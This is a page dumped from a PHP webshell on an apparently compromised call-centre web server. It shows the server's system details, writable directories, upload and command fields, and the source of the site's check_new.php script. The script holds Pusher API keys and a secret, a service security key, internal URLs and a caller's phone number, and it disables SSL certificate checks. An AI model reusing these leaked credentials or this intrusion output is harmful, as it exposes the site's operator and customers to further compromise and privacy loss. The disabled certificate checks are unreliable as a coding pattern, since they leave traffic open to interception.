403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/callcenter.hellogtx.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/callcenter.hellogtx.com/check_new.php
<?php

include_once 'vendor/autoload.php';

function sendInfoWithOutSSL($data, $url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_POST, 1);
    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') {
        curl_setopt($ch, CURLOPT_PORT, 443);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

$time = time();

$jsonData = '{"security_key":"1B344264-4D32-49D9-A9C6-C13025AC24C9","duration":"170","date_time":"2025-02-05 12:26:56","unique_id":"1738738616.34078","recording_url":"http:\/\/192.168.1.253:4079\/callrecord\/2025\/February\/05-02-2025\/05-02-2025-1738738616.34078- 918469937478-30.wav","caller_id":"30","received_id":"8469937478","call_type":"Incoming","status":2,"call_status":"CallFinish"}';

$replcesString = json_decode($jsonData, true);
$insertdata = array(
    "security_key" => $id,
    "caller_id" => isset($replcesString['caller_id']) ? $replcesString['caller_id'] : '',
    "received_id" => isset($replcesString['received_id']) ? $replcesString['received_id'] : '',
    "call_status" => isset($replcesString['call_status']) ? $replcesString['call_status'] : '',
    "recording_url" => isset($replcesString['recording_url']) ? $replcesString['recording_url'] : '',
    "unique_id" => isset($replcesString['unique_id']) ? $replcesString['unique_id'] : '',
    "duration" => isset($replcesString['duration']) ? $replcesString['duration'] : '',
    "date_time" => isset($replcesString['datetime']) ? $replcesString['datetime'] : '',
    "call_type" => $call_type,
    "status" => 2
);
$insertArray["extension"] = $insertdata['received_id'];
$data['mobile'] = $insertdata['caller_id'];
$data['SequiryKey'] = $insertdata['security_key'];
$urlTest = "https://globaltravelexchange.com/gtxwebservices/customerapi/checkandgetcustomerdetailwithsequirykey";
if (strlen($data['mobile']) > 9) {
    $returnRequest = sendInfoWithOutSSL($data, $urlTest);
    $returnArray = json_decode($returnRequest, true);
    $IsCustomer = false;
    $CustomerName = '';
    $MobileNumber = substr(trim($data['mobile']), -10);
    $CustomerId = '';
    if (isset($returnArray['status']) && $returnArray['status'] == true) {
        $IsCustomer = true;
        $IsApi = "second";
        $CustomerName = trim($returnArray['FirstName']) . ' ' . trim($returnArray['LastName']);
        $CustomerId = trim($returnArray['CustomerSysId']);
        $data['AgencySysId'] = $returnArray['AgencySysId'];
    } else {
        $urlTest1 = "https://globaltravelexchange.com/gtxwebservices/customerapi/get-agency-sys-id";
        $data1['SequiryKey'] = $insertdata['security_key'];
        $returnRequest1 = sendInfoWithOutSSL($data1, $urlTest1);
        $returnArray1 = json_decode($returnRequest1, true);
        $IsCustomer = false;
        $CustomerName = '';
        if (isset($returnArray1['status']) && $returnArray1['status'] == true) {
            $data['AgencySysId'] = $returnArray1['AgencySysId'];
        }
    }
    $insertdata['customer_name'] = $CustomerName;
    $post = array('IsApi' => $IsApi, 'IsCustomer' => $IsCustomer, "CustomerName" => $CustomerName, "MobileNumber" => $MobileNumber, "CustomerId" => $CustomerId, "extension" => $insertArray["extension"], "AgencySysId" => $data['AgencySysId']);
    $url = 'https://logs.hellogtx.com/api/v1/call-center/';
    $data_stringh = json_encode($insertdata);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data_stringh);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Accept: application/json',
        'Content-Type: application/json',
        'Accept-Encoding: gzip',
        'Content-Length: ' . strlen($data_stringh)
    ));
    $outputH = curl_exec($ch);
    curl_close($ch);
    $options = array(
        'cluster' => 'ap2',
        'useTLS' => true
    );
    $pusher = new Pusher\Pusher(
            '99f31b09bc0705e7c87b',
            '974a4dc79271f28a169b',
            '1050818',
            $options
    );
    $pusher->trigger('my-channel', 'my-event', $post);
    $requestArr = array("Status" => true);
    echo json_encode($requestArr);
    exit;
} else {
    $requestArr = array("Status1" => false);
    echo json_encode($requestArr);
    exit;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit